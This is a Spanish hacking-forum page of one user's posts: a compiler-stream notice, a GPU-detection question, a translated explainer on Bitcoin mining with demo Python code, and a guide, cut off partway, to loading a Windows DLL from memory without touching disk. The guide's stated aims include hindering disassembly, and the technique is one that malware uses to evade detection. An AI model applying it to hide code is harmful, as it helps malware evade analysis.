Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - Yuki

#1
Off Topic / Escribiendo un compilador en vivo
Abril 19, 2018, 04:19:03 PM
Hoy 19/04/2018 empecé con el primer streaming donde escribo un compilador en vivo desde No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, para los interesados en el tema que tengan tiempo, voy a continuar con esto de lunes a viernes de 3:00 pm (hora Argentina) hasta 4:00 pm.

¡Saludos!
#2
Estoy desarrollando un código para Windows 32 bits y solo necesito saber si existe una GPU en el equipo, no necesito el nombre, versión o características, solo saber si existe.

¿Como puedo hacer esto?
#3
Hacking / Minería Bitcoin - El camino difícil
Septiembre 01, 2017, 05:16:31 AM

Este articulo explica la minería de Bitcoin en detalle, hasta los datos hexadecimales y el trafico de red. Si alguna vez te has preguntado que es lo que realmente pasa con la minería de Bitcoins, llegaste al lugar correcto.

El propósito de la minería

La minería de bitcoin es a menudo considerado como la forma de crear nuevos bitcoins. Pero eso realmente es sólo un propósito secundario. La principal importancia de la minería es asegurar que todos los participantes tengan una visión coherente de los datos de Bitcoin. Debido a que Bitcoin es un sistema distribuido de persona a persona ("peer to peer"), no hay una base de datos central que mantenga un registro de quién posee Bitcoins. En su lugar, el registro de todas las transacciones se distribuye a través de la red.

El principal problema con un registro de transacciones distribuidas es cómo evitar inconsistencias que podrían permitir a alguien generar el mismo Bitcoin dos veces. La solución en Bitcoin es minar las transacciones pendientes en un bloque de transacciones aproximadamente cada 10 minutos. Lo que los hace oficiales. Las transacciones conflictivas o inválidas no son permitidas en los bloques, entonces la doble minería es un problema resuelto.

Aunque las transacciones mineras en los bloques evitan el doble minado, esto representa nuevos problemas: ¿Cómo evitar que las personas minen bloques aleatorios? ¿Cómo se decide quien obtiene Bitcoins de un bloque minado? ¿Cómo acuerda la red qué bloques son válidos? Resolver estos problemas es la innovación clave de Bitcoin: La minería se hace muy, muy difícil debido a la técnica llamada "Proof Of Work". Esta hace que se necesite una enorme cantidad de esfuerzo computacional para extraer un bloque, pero que sea fácil para los compañeros de la red verificar que un bloque ha sido exitosamente extraído.

Cada bloque minado hace referencia al bloque anterior, formado por una cadena ininterrumpida de nuevo al primer bloque Bitcoin. Esta cadena de bloques asegura que todos estén de acuerdo en el registro de transacción. También asegura que nadie pueda alterar los bloques de la cadena, ya que volver a minar todos los bloques siguientes seria computacionalmente imposible. Mientras nadie controle más de la mitad de los recursos computacionales del mundo, la minería seguirá siendo competitiva y nadie podrá controlar la cadena de bloques.

Como un efecto secundario, la minería añade nuevos Bitcoins al sistema. Por cada bloque minado, los mineros obtienen actualmente 25 Bitcoins, lo que alienta a los mineros a trabajar duro para minar los bloques. Con la posibilidad de recibir dinero cada 10 minutos, hay muchas ganancias en la minería.

Como funciona la minería

La minería requiere una tarea que es muy difícil de realizar, pero fácil de verificar. La mineria Bitcoin utiliza criptografía, con un algoritmo de hashing llamado "doble SHA-256". Un algoritmo de hash (como SHA-256, MD5, CRC32 entre muchos otros) toma un fragmento de datos como entrada (cualquier dato de cualquier longitud) y lo reduce a un valor de hash mas pequeño (en este caso 256 bits). Con un hash criptográfico, no hay manera de obtener un valor de hash que desee sin intentar un montón de entradas (prueba y error). Pero una vez que encuentra la entrada que de el valor hash que desea, es fácil para cualquiera verificar el hash. Por lo tanto, el hash criptográfico se convierte en una buena manera de implementar "Proof Of Work" de Bitcoin.

Con más detalle, para extraer un bloque, primero recopila las transacciones nuevas en un bloque. A continuación, Hashea el bloque para formar un valor de hash del bloque de 256 bits (convertimos el bloque en un hash) Si el hash comienza con ceros suficientes, el bloque se ha extraído con éxito, se envía a la red Bitcoin y el hash se convierte en el identificador del bloque. La mayoría de las veces el hashing no tiene éxito (no retorna un hash que inicie con ceros) por lo que se modifica el bloque ligeramente y se vuelve a intentar una y otra vez miles de millones de veces. Aproximadamente cada 10 minutos alguien conseguirá minar un bloque, y el proceso comenzará de nuevo.

El siguiente diagrama muestra la estructura de un bloque específico, y cómo es hasheado. La parte amarilla es el encabezado del bloque, seguido de las primeras transacciones que entran en el bloque. La primera transacción es la transacción especial "coinbase" que concede la recompensa de la minería al minero. Las transacciones restantes son "transacciones Bitcoin estándar" moviéndose por ahí. Si la cabecera del hash comienza con ceros suficientes, el bloque se extrae con éxito. Para este No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, el hash que tiene éxito es:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

CitarNota: Estructura de un bloque Bitcoin.


La cabecera de bloque contiene un puñado de campos que describen el bloque. El primer campo del bloque es la versión del protocolo. Es seguido por el hash del bloque anterior en la cadena de bloques, lo que garantiza que todos los bloques formen una secuencia ininterrumpida en la cadena de bloques. (Inconvenientemente, el hash se invierte en la cabecera). El siguiente campo es la raíz Merkle, un hash especial de todas las transacciones en el bloque. Esta es también parte clave de la seguridad de Bitcoin, ya que garantiza que las transacciones no se puedan cambiar una vez que son parte de un bloque. A continuación se muestra una marca de tiempo (moderadamente precisa) del bloque, seguida por los bits de valor de dificultad de la minería. Finalmente, el nonce. Es un valor arbitrario que se incrementa en cada intento de hasheo para proporcionar un nuevo valor de hash. La parte difícil de la minería es encontrar un nonce que funcione.

Un pequeño programa para minar un bloque

Se escribió un programa en Python que explota el bloque anterior. El programa en sí es bastante simple - la parte más difícil del código es calcular el objetivo de dificultad a partir de bits.

Código: php
import hashlib, struct

ver = 2
prev_block = "000000000000000117c80378b8da0e33559b5997f2ad55e2f7d18ec1975b9717"
mrkl_root = "871714dcbae6c8193a2bb9b2a69fe1c0440399f38d94b3a0f1b447275a29978a"
time_ = 0x53058b35 # 2014-02-20 04:57:25
bits = 0x19015f53

# https://en.bitcoin.it/wiki/Difficulty
exp = bits >> 24
mant = bits & 0xffffff
target_hexstr = '%064x' % (mant * (1<<(8*(exp - 3))))
target_str = target_hexstr.decode('hex')

nonce = 0
while nonce < 0x100000000:
    header = ( struct.pack("<L", ver) + prev_block.decode('hex')[::-1] +
          mrkl_root.decode('hex')[::-1] + struct.pack("<LLL", time_, bits, nonce))
    hash = hashlib.sha256(hashlib.sha256(header).digest()).digest()
    print nonce, hash[::-1].encode('hex')
    if hash[::-1] < target_str:
        print 'success'
        break
    nonce += 1


La siguiente tabla muestra los hash obtenidos de los valores nonce seleccionados. El punto clave es que cada nonce genera un valor hash básicamente aleatorio. De vez en cuando un nonce afortunado generará un hash que comienza con algunos ceros. Para obtener una gran cantidad de ceros, es necesario probar un número exponencialmente grande de nonces. Para este bloque, el nonce "ganador" es 856192328.



   
   
   
   
   
   
   
   
   
   
   
   
noncehash
05c56c2883435b38aeba0e69fb2e0e3db3b22448d3e17b903d774dd5650796f76
128902a23a194dee94141d1b70102accd85fc2c1ead0901ba0e41ade90d38a08e
2729577af82250aaf9e44f70a72814cf56c16d430a878bf52fdaceeb7b4bd37f4
38491452381016cf80562ff489e492e00331de3553178c73c5169574000f1ed1c
3903fd5ff1048668cd3cde4f3fb5bde1ff306d26a4630f420c78df1e504e24f3c7
9900001e3a4583f4c6d81251e8d9901dbe0df74d7144300d7c03cab15eca04bd4bb
521170000642411733cd63264d3bedc046a5364ff3c77d2b37ca298ad8f1b5a9f05ba
181315200000c94a85b5c06c9b06ace1ba7c7f759e795715f399c9c1b1b7f5d387a319f
19745650000000cdccf49f13f5c3f14a2c12a56ae60e900c5e65bfe1cc24f038f0668a6c
2439898010000000ce99e2a00633ca958a16e17f30085a54f04667a5492db49bcae15d190
8561923280000000000000000e067a478024addfecdc93628978aa52d91fabd4292982a50

Debo señalar que los engañe por comenzar con un bloque que tendría éxito al ser minado. La mayoría de los intentos de extraer un bloque fallarán por completo - ninguno de los valores de nonce tendrá éxito. En ese caso, debe modificar el bloque ligeramente y volver a intentarlo. La marca de tiempo se puede ajustar (razón por la cual la marca de tiempo en bloques minados es a menudo incorrecta) . Se pueden agregar nuevas transacciones al bloque, cambiando el hash Markle. La transacción "coinbase" puede ser modificada - esto resulta ser muy importante para las pools. Cualquiera de estos cambios dará lugar a hashes totalmente diferentes, así que los valores del nonce se pueden intentar otra vez.

El programa Python hace unos 42.000 hashes por segundo, que es un millón de veces más lento que el hardware utilizado por los mineros reales. El programa tomaría en promedio cerca de 11 millones de años para minar un bloque mediante "rasguños".

La minería es muy difícil

La dificultad de extraer un bloque es asombrosa. Con la dificultad actual, las chances de que un hash tenga éxito es un poco menos de uno en 10^19. Encontrar un hash exitoso es más difícil que encontrar un determinado grano de arena de todos los granos de arena en la Tierra. Para encontrar un hash cada diez minutos, la tasa de hashing a Bitcoin debe ser increíblemente grande. En la actualidad, los mineros de la red Bitcoin están haciendo unos 25 millones de gigahashes por segundo. Es decir, cada segundo alrededor de 25.000.000.000.000.000 bloques son hasheados. Yo estimo (muy groseramente) que el hardware total utilizado para la minería Bitcoin costó decenas de millones de dólares y utiliza tanto poder como el país de Camboya.

Tenga en cuenta que encontrar un hash exitoso es una tarea totalmente arbitraria que no logra nada útil en sí mismo. El único propósito de encontrar un pequeño hash es hacer la minería difícil, que es fundamental para la seguridad de Bitcoin. Me parece que el esfuerzo puesto en la minería de Bitcoin se ha salido de los carriles recientemente.

La minería es financiada principalmente por la recompensa de 25 bitcoin por bloque, y ligeramente por los honorarios de transacción (aproximadamente 0.1 bitcoin por bloque). Dado que la recompensa de la minería actualmente funciona a alrededor de $15.000 por bloque, que paga por un montón de hardware. Por transacción, los mineros están recibiendo alrededor de $34 en la recompensa de la minería y $0.10 en honorarios (stats).

Minando con un pool

Debido a que la minería es tan difícil, normalmente se hace en los pools de minería, donde un grupo de mineros comparte el trabajo y comparte las recompensas. Si usted mina por usted mismo, puede ser que tenga éxito en minar un bloque y conseguir 25 Bitcoins cada pocos años. Por la minería como parte de una pool, usted podría conseguir una fracción de un Bitcoin cada día, que para la mayoría de la gente es preferible.

Las piscinas mineras utilizan una técnica interesante para ver cuánto trabajo están haciendo los mineros. Ellos envían un bloque para ser minado, y obtener actualizaciones de un minero cada vez que un minero obtiene una solución parcial. Cada solución parcial demuestra que el minero está trabajando duro en el problema y le da al minero una parte de la recompensa final cuando alguien logra minar el bloque.

Por ejemplo, si la minería de Bitcoin requiere un hash comenzando con 15 ceros, el grupo de minería puede pedir hashes comenzando con 10 ceros, lo que es un millón de veces más fácil. Dependiendo de la potencia de su hardware, un minero podría encontrar tal solución cada pocos segundos o unas pocas veces por hora. Eventualmente, una de estas soluciones comenzará con no sólo 10 ceros, sino 15 ceros, minando con éxito un bloque y ganando la recompensa para el pool. La recompensa se divide en función del recuento de acciones de cada minero como una fracción del total, y el operador de la piscina toma un pequeño porcentaje por gastos generales.

La mayoría de las veces alguien fuera de la piscina mina un bloque primero. En ese caso, el operador de la piscina envía nuevos datos y los mineros comienzan a minar el nuevo bloque. Las personas en un pool pueden ponerse nerviosas si pasa un largo tiempo sin un pago debido a la "mala suerte de la mineria".

Stratum: La comunicación entre una piscina y los mineros

A continuación vamos a ver en detalle la comunicación entre un minero y la pool. La comunicación entre la piscina y los mineros es interesante. la pool debe proveer trabajo eficientemente a los mineros y recolectar sus resultados rápidamente. La piscina debe asegurarse de que los mineros no están duplicando el trabajo. Y la piscina debe asegurarse de que los mineros no pierdan el tiempo trabajando en un bloque que ya ha sido minado.

Un tema importante para las pools mineras es cómo apoyar a los mineros rápidos. El nonce en el encabezado es demasiado pequeño para los mineros rápidos ya que ellos recorrerán todos los valores posibles más rápido de lo que la piscina puede proveer nuevos bloques. La solución es permitir que los mineros actualicen la transacción "coinbase" para que puedan poner nonces adicionales ahí. Esto hace la mineria más complicada debido a que después de construir la transacción "coinbase" el minero debe recalcular el arbol de hash Merkle y luego intentar minar el bloque.

Vamos a mirar el protocolo de la pool de minería Stratum que es utilizado por muchas otras pools. (Algunos protocolos alternativos son los protocolos Getwork y Getblocktemplate). El siguiente programa de Python utiliza el protocolo Stratum para realizar una solicitud de minería en el grupo de minería No tienes permitido ver los links. Registrarse o Entrar a mi cuenta y muestra los resultados. (Este programa es una demostración mínima, no use este código para la minería real).

Código: php
import socket

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("us1.ghash.io", 3333))

sock.send("""{"id": 1, "method": "mining.subscribe", "params": []}\n""")
print sock.recv(4000)

sock.send("""{"params": ["kens_1", "password"], "id": 2, "method": "mining.authorize"}\n""")
print sock.recv(4000)


La siguiente información es lo que el grupo de minería devuelve a través de la red en respuesta al programa anterior. Dado que el protocolo Stratum utiliza JSON-RPC, los resultados son ASCII legible en lugar de los paquetes binarios utilizados por la mayoría de Bitcoin. Esto proporciona todos los datos necesarios para iniciar la minería como parte de la agrupación:

Código: php
{"id":1,"result":[[["mining.set_difficulty","b4b6693b72a50c7116db18d6497cac52"],["mining.notify","ae6812eb4cd7735a302a8a9dd95cf71f"]],"4bc6af58",4],"error":null}

{"id":null,"params":[16],"method":"mining.set_difficulty"}

{"id":null,"params":["58af8d8c","975b9717f7d18ec1f2ad55e2559b5997b8da0e3317c803780000000100000000","01000000010000000000000000000000000000000000000000000000000000000000000000ffffffff4803636004062f503253482f04428b055308","2e522cfabe6d6da0bd01f57abe963d25879583eea5ea6f08f83e3327eba9806b14119718cbb1cf04000000000000000000000001fb673495000000001976a91480ad90d403581fa3bf46086a91b2d9d4125db6c188ac00000000",["ea9da84d55ebf07f47def6b9b35ab30fc18b6e980fc618f262724388f2e9c591","f8578e6b5900de614aabe563c9622a8f514e11d368caa78890ac2ed615a2300c","1632f2b53febb0a999784c4feb1655144793c4e662226aff64b71c6837430791","ad4328979dba3e30f11c2d94445731f461a25842523fcbfa53cd42b585e63fcd","a904a9a41d1c8f9e860ba2b07ba13187b41aa7246f341489a730c6dc6fb42701","dd7e026ac1fff0feac6bed6872b6964f5ea00bd8913a956e6b2eb7e22363dc5c","2c3b18d8edff29c013394c28888c6b50ed8733760a3d4d9082c3f1f5a43afa64"],"00000002","19015f53","53058b41",false],"method":"mining.notify"
{"id":2,"result":true,"error":null}
{"id":null,"params":[16],"method":"mining.set_difficulty"}


La primera línea es una respuesta del servidor del pool con los detalles de la suscripción. Los primeros valores no son demasiado importantes. El valor 4bc6af58 es el valor extranonce1 que se utiliza para construir el bloque. Cada cliente obtiene un valor único para garantizar que todos los clientes de minería generan bloques únicos y no duplicar el trabajo. El siguiente valor (4 bytes) es la longitud del valor de extranonce2_size que el minero pone en la "coinbase" durante la minería.

La segunda línea es un mensaje mining.set_difficulty a nuestro cliente. Con una dificultad de 16, puedo conseguir una parte cada hora o dos en mi PC. En comparación, la dificultad minera de Bitcoin es 3,129,573,174.52. Por lo tanto, es aproximadamente 200 millones de veces más fácil obtener una participación en esta pool que tener éxito minando un bloque de forma independiente. Es por eso que la gente se une a las pools.

La tercera línea es una notificación "mining.notify" a nuestro cliente. Este mensaje define que bloque nosotros vamos a minar. Hay una gran cantidad de datos devueltos en "params", por lo que voy a explicar campo por campo.



   
   
   
   
   
   
   
   
   
job_id58af8d8c
prevhash975b9717f7d18ec1f2ad55e2559b5997b8da0e3317c803780000000100000000
coinb10100000001000000000000000000000000000000000000000000000000000000
0000000000ffffffff4803636004062f503253482f04428b055308

coinb22e522cfabe6d6da0bd01f57abe963d25879583eea5ea6f08f83e3327eba9806b
14119718cbb1cf04000000000000000000000001fb673495000000001976a914
80ad90d403581fa3bf46086a91b2d9d4125db6c188ac00000000
merkle_branch["ea9da84d55ebf07f47def6b9b35ab30fc18b6e980fc618f262724388f2e9c591", ...]
version00000002
nbits19015f53
ntime53058b41
clean_jobsfalse

El job_id se utiliza para identificar esta tarea de minería si el minero reporta éxito.

La mayoría de los campos se utilizan en la cabecera del bloque. El prevhash es el hash del bloque anterior. Al parecer, la mezcla de big-ending y little-endian no son lo suficientemente confusas entonces este valor hash también tiene cada bloque de 4 bytes invertido. La versión es la versión de protocolo del bloque. El nbits indica la dificultad del bloque. El tiempo de timestamp no es necesariamente exacto.

Los campos coinb1 y coinb2 permiten al minero construir la transacción "coinbase" para el bloque. Esta transacción se forma concatenando coinb1, el valor extranonce1 obtenido al inicio, el extranonce2 que el minero ha generado, y coinb2. El resultado es una transacción en el protocolo Bitcoin. La lista de hash merkle_branch permite al minero recalcular eficientemente el hash Merkle con la nueva transacción "coinbase".

clean_jobs se utiliza si el minero necesita reiniciar los trabajos de minería.

Después de recibir estos datos, el minero puede comenzar a generar transacciones de "coinbase" y minería de bloques.

Creando un bloque para un pool

Una vez que el minero ha recibido la información de la pool, es fácil formar la transacción de coinbase combinando la coinb1, extranonce1, extranonce2 y coinb2. El siguiente diagrama muestra cómo la combinación de estos cuatro valores forman la transacción completa, con los nonces en el centro del script de coinbase. (El bloque siguiente es ligeramente diferente al descrito anteriormente).


La estructura de la transacción coinbase es similar a una transacción regular, pero hay algunas diferencias importantes. Una transacción normal transfiere Bitcoins de entradas (generalmente direcciones de origen) a salidas (normalmente direcciones de destino). Una transacción coinbase está generando nuevos Bitcoins de la nada, en lugar de hacer una transferencia, por lo que la transacción es ligeramente diferente. El hash de salida anterior y el índice son irrelevantes para la transacción coinbase. El primer script es el scriptSig que firma la transacción para probar la propiedad de los Bitcoins entrantes. En una transacción de coinbase, esto es irrelevante, por lo que en su lugar el campo se llama la "coinbase" y es en su mayoría son datos arbitrarios. (Muchos mineros ocultan mensajes allí). El campo "value" en la transacción coinbase es la recompensa de la minería de 25 bitcoin más cualquier bitcoins que sobran de las otras transacciones (los bitcoins que sobran se tratan como honorarios de minería). Finalmente, tanto las transacciones regulares como la transacción coinbase utilizan el segundo script (scriptPubKey) para especificar los destinatarios de los Bitcoins.

Una vez que se crea la transacción coinbase, el hash para esta transacción coinbase se combina con los datos merkle_branch del conjunto para generar el hash Merkle para todo el conjunto de transacciones. Debido a la estructura del hash de Merkle (explicado más adelante), esto permite que el hash para el conjunto entero de transacciones sea recalculado fácilmente.

Por último, el encabezado de bloque se construye a partir del nuevo hash Merkle y los datos proporcionados por la agrupación, y el algoritmo hash puede iterar sobre los valores nonce en el encabezado, al igual que el programa Python anterior. Una vez que todos los valores de nonce han sido probados, el minero incrementa la extranonce2, genera una nueva transacción de coinbase y continúa.


Informar al pool del éxito

La dificultad para una pool es mucho mas baja que la dificultad minera original de Bitcoin (menos ceros iniciales requeridos), por lo que es mucho más fácil obtener una parte. Cuando un bloque es hasheado a la dificultad de la pool, se le envía un simple mensaje JSON:

Código: php
{"method": "mining.submit", "params": ["kens.worker1", "58af8db7", "00000000", "53058d7b", "e8832204"], "id":4}


Los parámetros son el nombre del trabajador, id de trabajo, extranonce2, tiempo y encabezado nonce. Esta información es suficiente para que el grupo construya la transacción coincidente, el encabezado y verifique el bloque. Si el hash cumple la dificultad de la pool, obtendrá una parte. Si el hash también cumple con la dificultad de Bitcoin, mucho más difícil, el bloque se ha extraído con éxito. En este caso, la agrupación envía el bloque a la red de Bitcoin y a todo el mundo con acciones (que trabajó) se les paga como consecuencia.

Minería por diversión y ganancias

Si tienes curiosidad por la minería, es sorprendentemente fácil probarla, aunque tendrás suerte de ganar incluso un centavo. Basta con crear una cuenta en un grupo de minería como BTC Guild, descargar software de minería como cpuminer (minerd.exe) y ejecutar el software para iniciar la minería. Para una piscina con dificultad baja, usted debe obtener acciones en pocos minutos; en una piscina con una dificultad mayor (como No tienes permitido ver los links. Registrarse o Entrar a mi cuenta), puede tardar una hora o dos para obtener una parte, lo que es más frustrante.


La captura de pantalla muestra cómo se ve la minería a medida que se obtienen las acciones y los bloques son minados. Tuve suerte y sólo me tomó un minuto para exitosamente obtener una porción de lo minado. Un minuto después, alguien extrajo con éxito un bloque, por lo que la piscina le dice a todo el mundo que comience de nuevo. Otro bloque fue extraído menos de un minuto después de que - aunque los bloques son 10 minutos aparte en promedio, los tiempos pueden variar extensamente. Tomó 12 minutos para que mi próxima acción sea generada. Después de correr por un tiempo, gané 0,00000043 BTC, que es una pequeña fracción de un centavo.

La minería Bitcoin es una "carrera armamentista". Originalmente la gente podía minar con la CPU en una PC normal, pero eso no ha sido práctico por un tiempo. La siguiente minería fue descargada a GPUs. Ahora, la minería se hace con hardware ASIC de propósito especial, que está aumentando rápidamente en velocidad. La minería con fines de lucro es muy competitiva, y necesitará buscar información en otro lugar.

Si desea probar la minería sólo por diversión, es posible que prefiera minar una moneda como Dogecoin en lugar de Bitcoin. En primer lugar, Dogecoin utiliza un algoritmo de hash diferente que no funciona bien con hardware ASIC, por lo que no está tan desventajoso en comparación con los mineros profesionales. En segundo lugar, porque dogecoins valen mucho menos que bitcoins, usted terminará para arriba con un número mucho mayor de dogecoins, que parece más rewarding. Para la minería Dogecoin, he utilizado la piscina No tienes permitido ver los links. Registrarse o Entrar a mi cuenta algo arbitrariamente. El proceso es casi el mismo que la minería Bitcoin, excepto que se utiliza el algoritmo scrypt en lugar de sha256d. Hay muchos otros cryptocurrencies alternativos para elegir.

CitarNota: Este articulo fue escrito por Ken Shirriff y traducido al español por Yuki para la comunidad de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#4
Hacking / [Guía] Cargar DLL directamente de memoria
Agosto 05, 2017, 10:52:00 AM
Información

Las funciones predeterminadas de la API de Windows para cargar bibliotecas externas en un programa (LoadLibrary, LoadLibraryEx) sólo funcionan con archivos del sistema. Por lo tanto, es imposible cargar un DLL de memoria. Pero a veces, necesitas exactamente esta funcionalidad (por ejemplo, si no quieres distribuir muchos archivos o quieres hacer el des-ensamblado más difícil). Soluciones comunes para estos problemas son escribir el DLL en un archivo temporal primero e importarlo desde ahí. Cuando el programa termina, el archivo temporal se elimina.

En este tutorial, describiré primero cómo se estructuran los archivos DLL y se presentará código que se puede utilizar para cargar una DLL completamente desde la memoria, sin tocar el disco.

Ejecutables de Windows - Formato PE

La mayoría de los binarios de Windows que pueden contener código ejecutable (.exe, .dll, .sys) comparten un formato de archivo común que consta de las siguientes partes:

Código: php
DOS Header
DOS Stub
PE Header
Sección Header
Sección 1
Sección 2
. . .
Sección #


Todas las estructuras que se dan a continuación se pueden encontrar en el archivo Estructuras.cml

Cabecera DOS (DOS Header) - STUB

El encabezado DOS sólo se utiliza para la compatibilidad con versiones anteriores. Precede al stub de DOS que normalmente sólo muestra un mensaje de error acerca de que el programa no se puede ejecutar desde el modo DOS.

Microsoft define el encabezado DOS de la siguiente manera:

Código: php
Estruct IMAGE_DOS_HEADER,_
        e_magic,_       ' Número mágico.
        e_cblp,_         ' Bytes en la última página del archivo.
        e_cp,_           ' Paginas en el archivo.
        e_crlc,_          ' Relocalizaciones.
        e_cparhdr,_    ' Tamaño del encabezado en el apartado.
        e_minalloc,_    ' Tamaño extra mínimo del apartado.
        e_maxalloc,_   ' Tamaño extra máximo del apartado.
        e_s,_              ' Valor SS inicial (relativo).
        e_sp,_            ' Valor inicial SP.
        e_csum,_        ' Checksum.
        e_ip,_             ' Valor inicial IP.
        e_cs,_             ' Valor CS inicial (relativo).
        e_lfarlc,_         ' Dirección en el archivo de la tabla de relocaciones.
        e_ovno,_        ' Número de superposición.
        e_res[4],_       ' Reservados.
        e_oemid,_       ' Identificador OEM (para e_oeminfo).
        e_oeminfo,_    ' Información OEM.
        e_res2[10]:Word,_ ' Reservado.
        e_lfanew:Entero ' Dirección en el archivo de la nueva cabecera.


Cabecera PE (PE Header)

La cabecera PE contiene información acerca de las diferentes secciones dentro del ejecutable que son usados para almacenar códigos y datos o también para definir importaciones de otras librerías o exportaciones que esta proporciona.

Esta se define como la siguiente estructura:

Código: php
Estruct IMAGE_NT_HEADERS,_
        Signature:Entero,_
        FileHeader:IMAGE_FILE_HEADER,_
        OptionalHeader:IMAGE_OPTIONAL_HEADER


El miembro 'FileHeader' describe el formato físico del archivo. Por ejemplo: contenidos, información sobre símbolos, etc.

Código: php
Estruct IMAGE_FILE_HEADER,_
        Machine,_
        NumberOfSections:Word,_
        TimeDateStamp,_
        PointerToSymbolTable,_
        NumberOfSymbols:Entero,_
        SizeOfOptionalHeader,_
        Characteristics:Word


El 'OptionalHeader' contiene información sobre el formato lógico de la librería, incluyendo la versión requerida del SO, los requisitos de memoria y los puntos de entrada.

Código: php
Estruct IMAGE_OPTIONAL_HEADER,_
        Magic:Word,_ ' 0
        MajorLinkerVersion,_ ' 2
        MinorLinkerVersion:Byte,_ ' 3
        SizeOfCode,_    ' 4
        SizeOfInitializedData,_ ' 8
        SizeOfUnitializedData,_ ' 12
        AddressOfEntryPoint,_ ' 16
        BaseOfCode,_ ' 20
        BaseOfData,_ ' 24
        ImageBase,_ ' 28
        SectionAlignment,_ ' 32
        FileAlignment:Entero,_ ' 36
        MajorOperatingSystemVersion,_ ' 40
        MinorOperatingSystemVersion,_ ' 42
        MajorImageVersion,_ ' 44
        MinorImageVersion,_ ' 46
        MajorSubsystemVersion,_ ' 48
        MinorSubsystemVersion:Word,_ ' 50
        W32VersionValue,_ ' 52
        SizeOfImage,_ ' 56
        SizeOfHeaders,_ ' 60
        CheckSum:Entero,_ ' 64
        SubSystem,_ ' 68
        DllCharacteristics:Word,_ ' 70
        SizeOfStackReserve,_ ' 72
        SizeOfStackCommit,_ ' 76
        SizeOfHeapReserve,_ ' 80
        SizeOfHeapCommit,_ ' 84
        LoaderFlags,_ ' 88
        NumberOfRvaAndSizes:Entero,_ ' 92
        DataDirectory[16]:IMAGE_DATA_DIRECTORY ' 96


El 'DataDirectory' contiene 16 (IMAGE_NUMBEROF_DIRECTORY_ENTRIES) entradas que definen los componentes lógicos de la librería:

CitarNota: Las descripciones en rojo no pudieron ser traducidas.

Indice-Descripción
0Funciones exportadas
1Funciones importadas
2Recursos (resources)
3Información de excepciones
4Información de seguridad
5Tabla de reubicación base
6Información de depuración
7Datos de arquitectura especifica
8Puntero global
9Thread local storage
10Configuración de carga
11Importaciones vinculadas
12Tabla de direcciones de importación
13Delay load imports
14COM runtime descriptor

Para importar una DLL nosotros solo necesitamos las entradas que describen las importaciones y la tabla de reubicaciones. Para proporcionar acceso a las funciones exportadas, se requiere la entrada de las exportaciones.

Cabecera de secciones (Section Header)

La cabecera de secciones es almacenada después de la estructura 'OptionalHeader' en la cabecera PE. Si usted usa C. Microsoft le provee la macro 'IMAGE_FIRST_SECTION' para obtener la dirección de inicio basado en la cabecera PE.

Actualmente, la cabecera de secciones (Section Header) es una lista de información acerca de cada sección en el archivo.

Código: php
Unión Misc,_
      PhysicalAddress,_
      VirtualSize:Entero

Estruct IMAGE_SECTION_HEADER,_
        Name[8]:Byte,_
        Misc:Misc,_
        VirtualAddress,_
        SizeOfRawData,_
        PointerToRawData,_
        PointerToRelocations,_
        PointerToLinenumbers:Entero,_
        NumberOfRelocations,_
        NumberOfLinenumbers:Word,_
        Characteristics:Entero


Una sección puede contener código, datos, información de reubicaciones, recursos, definiciones de importación/exportación, etc.

Cargando la librería

Para emular la carga PE, nosotros primero debemos entender cuales son los pasos necesarios para cargar un archivo en la memoria y preparar las estructuras para que puedan ser llamadas por otros programas.

Al invocar a la API LoadLibrary, básicamente, Windows realiza estas tareas:


  • Abre el archivo dado y analiza las cabeceras DOS y PE.
  • Trata de almacenar 'PEHeader.OptionalHeader.SizeOfImage' bytes en la posición 'PEHeader.OptionalHeader.ImageBase'.
  • Analiza las secciones de cabecera y copia cada sección a sus respectivas secciones de memoria. La dirección de destino de cada sección, relativa a la base del bloque de memoria asignado, se almacena en el miembro 'VirtualAddress' de la estructura IMAGE_SECTION_HEADER.
  • Si el bloque de memoria alojado difiere del miembro 'ImageBase', varias referencias en las secciones de código y/o datos deben ser ajustadas. Esto es llamado reubicación base (base relocation).
  • Las importaciones necesarias para la DLL deben resolverse cargando las librerías correspondientes.
  • Las regiones de memoria de cada sección deben ser protegidas dependiendo de las características de la sección. Muchas secciones son marcadas como descartables y por lo tanto se pueden liberar a partir de este punto. Estas secciones normalmente contienen información temporal que solo es requerida durante la importación. Como la información para la reubicación base.
  • Nuestra librería esta cargada completamente, Se debe notificar sobre esto llamando al punto de entrada (Entry Point) usando la bandera (flag) DLL_PROCESS_ATTACH.

En los siguientes párrafos, cada paso es descrito.

Almacenando memoria

Toda la memoria requerida por la libreria debe ser reservada/alojada usando VirtualAlloc, como Windows provee funciones para proteger estos bloques de memoria. Esto es requerido para restringir el acceso a la memoria, como bloquear el acceso a escritura del código o datos constantes.

La estructura 'OptionalHeader' define el tamaño del bloque de memoria requerido por la librería. Si es posible, esta debe ser almacenado en la dirección especificada por 'ImageBase'.

CitarNota: En el siguiente mini-ejemplo se asume que usted hizo apuntar 'PEHeader' a la librería en memoria.

Código: php
Var Mem:Entero
Mem = VirtualAlloc(PEHeader.OptionalHeader.ImageBase,PEHeader.OptionalHeader.SizeOfImage,MEM_RESERVE,PAGE_READWRITE)


Si la memoria reservada difiere de la dirección dada en 'ImageBase', se debe realizar la reubicación de base como se describe mas adelante.

Copiar secciones

Una vez que la memoria ha sido reservada, el contenido del archivo debe ser copiado al sistema. Las secciones de cabecera (Section Headers) deben ser evaluadas para determinar la posición en el archivo y el área de destino en la memoria.

Antes de copiar los datos, el bloque de memoria debe estar comprometido.

CitarNota: Se aloja nueva memoria con la bandera 'MEM_COMMIT'.

Código: php
Var Destino:Entero
Destino = VirtualAlloc(DirecciónBase + Sección.VirtualAddress,Sección.SizeOfRawData,MEM_COMMIT,PAGE_READWRITE)


Secciones sin datos en el archivo (como secciones de datos para ser usadas como variables) tienen un 'SizeOfRawData' de 0. Entonces puedes usar la 'SizeOfInitializedData' o 'SizeOfUninitializedData' de 'OptionalHeader'. Cada uno debe ser elegido dependiendo de las banderas de bits 'IMAGE_SCN_CNT_INITIALIZED_DATA' e 'IMAGE_SCN_CNT_UNINITIALIZED_DATA' que se pueden establecer en las características de la sección (miembro 'Characteristics').

Reubicación base

